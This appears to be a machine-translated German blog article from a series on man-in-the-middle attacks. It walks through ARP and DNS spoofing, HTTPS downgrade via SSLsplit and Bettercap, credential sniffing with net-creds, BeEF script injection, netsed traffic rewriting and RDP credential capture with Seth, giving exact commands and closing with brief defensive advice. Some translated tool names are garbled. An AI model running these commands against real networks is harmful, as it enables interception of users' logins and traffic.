Vertrauliche Informationen abfangen? Erhalten Sie unbefugten Zugriff auf verschiedene Anwendungen und Systeme? Normalbetrieb stören? All dies und vieles mehr führen Angriffe wie Man in the Middle durch.
Heute setzen wir die Artikelserie fort, die sich mit den Angriffen des „Mannes in der Mitte“ (und einer Reihe verwandter Angriffe) auf typische Protokolle und Übertragungskanäle befasst, die in fast jedem Unternehmen zu finden sind. Berücksichtigen Sie die für den Angreifer viel größeren Interessen: vom Netzwerk zur Anwendung.
Interessiert an? Willkommen bei Katze.
Denken Sie daran
Im vorherigen Artikel haben wir uns daher auf das Spoofing von Angriffen in kabelgebundenen und kabellosen Umgebungen konzentriert und Techniken zur Überwachung von Anforderungen und Antworten auf DNS-Server gezeigt. DNS wurde aus einem bestimmten Grund ausgewählt - dies ist eines der Hauptziele. Warum? Alles ist einfach - fast jede Sitzung beginnt jetzt mit einer Anfrage nach der IP-Adresse des Zielhosts auf DNS-Servern.
Heute werden wir Angriffe "auf Kupfer" zeigen, aber für das gleiche WLAN ändert sich praktisch nichts außer ein paar Nuancen. Wir verzichten auf das Einfügen in die Optik, da dieser Angriffsvektor sehr kostspielig ist und spezielle Ausrüstung erfordert.
Zunächst interessieren wir uns für das „unsichtbare“ Abfangen von DNS-Abfragen. Ich werde einige der folgenden Dienstprogramme verwenden:
DNS2Proxy (das Dienstprogramm gibt es schon seit vielen Jahren, aber es ist immer noch ziemlich kampfbereit) und
arpspoof (auch nicht jung).
Wir starten:
# arpspoof -r 192.168.180.254 192.168.180.1 // IP – , - # python2 dns2proxy.py -u 192.168.180.253 // -u IP-, # iptables -t nat -A PREROUTING -i enp14s0 –p udp --dport 53 -j DNAT --to-destination 192.168.180.253:53
Lassen Sie uns nun überprüfen, wie sich dies auf den Computer des Opfers auswirkt, indem Sie nslookup für eine beliebige Domäne ausführen:
Nun, das Opfer erhält die vom Angreifer benötigte Host-IP, höchstwahrscheinlich die lokale IP-Adresse des Geräts, von dem aus sich der Angriff entwickelt. Der Screenshot zeigt auch, dass der Client glaubt, dass ein legitimer DNS-Server ihr antwortet, was natürlich ein bisschen falsch ist. Tatsächlich ist die Funktionalität des DNS2Proxy-Dienstprogramms ziemlich umfangreich: Sie können bestimmte Domänen für das Spoofing angeben oder im Gegenteil alles fälschen und einige zu den Ausnahmen hinzufügen.
Was weiter? Und dann müssen wir einen "Proxy" -Webserver bereitstellen, der zwei Verbindungen aufbaut: einer ist ein "Proxy" <> ein legitimer Knoten im Netzwerk und der zweite ist ein "Proxy" <> Opfer. Wir werden
SSLsplit verwenden .
Wir starten:
# sslsplit –l 2000 # iptables -t nat -A PREROUTING -i enp14s0 –p tcp -m tcp --dport 80 -j DNAT --to-destination 192.168.180.253:2000
Wir prüfen, was passieren wird, wenn wir versuchen, zu einem Automobilportal zu wechseln, z. B.
drom.ru :
Und wir haben eine ungeschützte Verbindung! Aber mit der Einschränkung: wwww und webmy.drom.ru wurden als Subdomain anstelle von my.drom.ru hinzugefügt. Versuchen wir, uns anzumelden, nachdem Sie ein Dienstprogramm zum Anzeigen des Transitverkehrs auf dem Gerät des Angreifers verwendet haben. Ich werde
Net-Creds verwenden . Wir sehen uns an, was in der Konsole angezeigt wird:
Und wir haben einen Benutzernamen / ein Passwort, großartig!
Die Frage stellt sich wahrscheinlich: "Was ist der Unterschied zum vorherigen Artikel?" Der Unterschied besteht darin, dass ohne diese Manipulationen eine HTTPS-Verbindung aufgebaut wird, die das Abfangen von Konten nahezu unmöglich macht. Dies ist der sogenannte "Downgrade-Angriff".
Trotzdem funktioniert es auch mit Banken und anderen Ressourcen:
Es lohnt sich jedoch
NICHT , den Banken die Schuld zu geben, dass der Benutzer auf diese Weise „gehackt“ werden kann. Sie können hier nichts tun, weil der Angriff weit über ihren Umfang hinausgeht! Die Bank ist
NICHT schuld! Darüber hinaus verwenden alle 2FA, wodurch das Risiko eines Zugriffs geringfügig verringert wird.
Bitte beachten Sie: Auf diese Weise wird sogar HSTS (HTTP Strict Transport Security) umgangen, jedoch nicht für alle Ressourcen (die meiner Meinung nach alle oder fast jeder hier bereits kennt). Eine Reihe von Browsern führt eine Liste von Domänen, mit denen eine Verbindung über TLS erforderlich ist, und ein solcher Angriff gegen sie ist machtlos. Das einfachste Beispiel ist
google.com , und die vollständige Liste für Chromium finden Sie
hier . Sowohl Firefox als auch Chrome / Chromium stellen keine HTTP-Verbindung her, um den Benutzer zu schützen. Wenn es einem Angreifer jedoch gelungen ist, vertrauenswürdigen oder, noch schlimmer, vertrauenswürdigen Stammzertifizierungsstellen "sein" selbstsigniertes Zertifikat hinzuzufügen, hilft nichts, nur weil der Browser und das System sie zunächst als völlig legitim betrachten und keine Fehler verursachen während ihrer Verarbeitung. Der Fall mit vertrauenswürdigen Stammzertifizierungsstellen ist etwas Besonderes: Auf diese Weise können Sie im laufenden Betrieb ein Zertifikat für jede Domäne erstellen (so funktionieren DLP und andere Schutzwerkzeuge, die normalerweise den Datenverkehr analysieren), mit denen Sie jede HTTPS-Verbindung ohne Probleme und Benachrichtigungen vom Browser analysieren können.
Alle oben aufgeführten Tools sind bereits veraltet, da sie Python2 verwenden, dessen Unterstützung bald eingestellt wird. Sie können jedes Analogon verwenden, z. B.
Bettercap , ein „Harvester“ verschiedener Werkzeuge, der alle oben aufgeführten Funktionen sowie eine Reihe anderer Funktionen ausführt. Der einzige Kommentar zu seiner Arbeit: Die neuesten Versionen möchten nicht standardmäßig alle Domänen "auflösen", sondern müssen bestimmte angeben. Für "echte" Angriffe reicht dies jedoch für die Augen aus und hilft sogar, sich nicht vorzeitig zu öffnen.
Was erlaubt MitM noch? Importieren Sie JS aka XSS. Und dann ein großer Spielraum für Kreativität. Beginnen wir mit Bettercap und
Rindfleisch :
In Bettercap sind:
# set arp.spoof.targets 192.168.180.254 # arp.spoof on # set http.proxy.sslstrip true # set http.proxy.injectjs http://192.168.180.253:3000/hook.js # http.proxy on
Wenn wir auf HTTPS-Seiten implementiert werden möchten, konfigurieren wir auch dns.proxy. Im Rahmen der Demo werde ich nur HTTP verwalten.
Gehen Sie zu
diary.ru und beachten Sie Folgendes im Debugger:
Mal sehen, wie die Dinge in der Rindfleisch-Weboberfläche sind:
Eigentlich sind wir fertig, wir sind "im Browser". Es wurden 2 Sitzungen erstellt, wahrscheinlich aufgrund der Tatsache, dass ich eine andere Seite im Hintergrund geöffnet habe, aber dies ist kein Problem. Jetzt können Sie
ein Durcheinander erstellen , um Informationen zu sammeln, einen Angriff zu entwickeln, in einigen Fällen eine Shell zu öffnen oder einfach meine. Ein Teil der möglichen Funktionen ist im Screenshot in der Tabelle „Modulbaum“ dargestellt. Führen Sie für den Test den Empfang des Fingerabdrucks des Browsers aus:
Browserentwickler sind jedoch nicht dumm und versuchen, verschiedene "Löcher" zu verdecken, die den Zugriff per Fingerklick ermöglichen. Andererseits kann ein solcher Zugriff die weitere Konsolidierung auf dem angegriffenen Host erheblich erleichtern.
Fahren wir mit dem neuesten Angriff für heute fort - dem Spoofing von Daten. Im Allgemeinen stützt sich dieser Angriff auf einen separaten Artikel. Er kann auch verwendet werden, wenn Bilder von virtuellen Maschinen übertragen werden, um Zugriff zu erhalten (vielleicht werde ich dieses Thema eines Tages genauer erläutern). Jetzt werden wir beispielsweise eine kurze Demonstration auf der Website
pasted.co durchführen - der einfachsten Ressource. Es bleibt einige Zeit, um Zugriff auf Textinformationen zu erhalten. Für Angriffe verwenden wir
Netze .
Wir starten:
# netsed tcp 4000 0 0 s/Hello/HACKED/o # iptables -t nat -A PREROUTING -i enp14s0 –p tcp -m tcp --dport 80 -j DNAT --to-destination 192.168.180.253:4000 # arpspoof -r 192.168.180.254 192.168.180.1
Gehen Sie auf dem angegriffenen Knoten zu pasted.co, schreiben Sie unser "Hallo", senden Sie es, erhalten Sie einen Link, öffnen Sie es und sehen Sie unser "HACKED". Ein Beispiel ist einfach, aber ich denke, es ist nicht schwierig, sich vorzustellen, dass es im Prinzip möglich ist, einen solchen Angriff durchzuführen.
Ein paar Worte zu RDP und MitM
Es gibt ein so interessantes Dienstprogramm namens
Seth, und tatsächlich gibt es eine Menge Aprspoof und SSL-Streifen, aber für RDP. Das Fazit ist einfach: Beim Zugriff auf Port 3389 verhält sich Seth ähnlich wie sslstrip und baut eine eigene Verbindung zum Zielknoten auf. Der Benutzer gibt Anmeldeinformationen ein ... und Sie können dort enden.
Wir starten:
# ./seth.sh enp14s0 192.168.180.253 192.168.180.254 192.168.180.1
Wir starten auf dem RDP-Client, stellen eine Verbindung zu einem beliebigen RDP-Host her (ich habe eine Verbindung zum Server außerhalb des Netzwerks 192.168.180.0/24 hergestellt) und geben das Konto ein. Persönlich habe ich nach dieser Phase jedes Mal einen Fehler festgestellt, obwohl das Dienstprogramm die Verbindung als Proxy verwenden sollte, aber es hat den wichtigsten Teil der Arbeit erledigt:
Das hervorgehobene Rechteck hatte ein eindeutiges Passwort.
Verteidige uns
- Verwenden Sie alle in unserem vorherigen Artikel angegebenen Maßnahmen. Es hilft wirklich! Ich werde die Aufnahme von DHCP-Snooping separat hinzufügen, wodurch wir illegitime DHCP-Server herausfiltern können, was dazu führen kann, dass der Client alle Anforderungen an den Host des Angreifers sendet, wodurch Arp-Spoofing vermieden wird.
- Verwenden Sie nach Möglichkeit überall Erweiterungen wie HTTPS. Es wird automatisch zur https-Version der Site umgeleitet, wenn diese in der Datenbank enthalten ist, wodurch ein HTTPS-Downgrade vermieden wird.
- Für DNS können Sie DNS-over-TLS / DNS-over-HTTPS oder DNSCrypt verwenden. Die Werkzeuge sind nicht perfekt, die Unterstützung kann sehr schmerzhaft sein, aber in einigen Fällen ist dies ein gutes Maß an Schutz.
- Lernen und lehren Sie Familie, Freunde und Kollegen, auf die Adressleiste zu achten: Es ist wichtig! wwww.drom.ru, Benachrichtigungen über eine ungeschützte Verbindung auf einer zuvor „problemlosen“ Ressource sind oft ein sicheres Zeichen für Anomalien im Netzwerk.
Achten Sie auf Anomalien in RDP-Sitzungen: Ein unerwartet geändertes Zertifikat ist ein schlechtes Zeichen.
Das ist alles für jetzt. Oder nicht? Freunde, ich würde gerne von Ihnen wissen, aber interessieren Sie sich für den Angriff auf den Hypervisor und die Migration von Maschinen? Oder eine Injektion in PE-Dateien? Warten auf Ihre Kommentare und Fragen!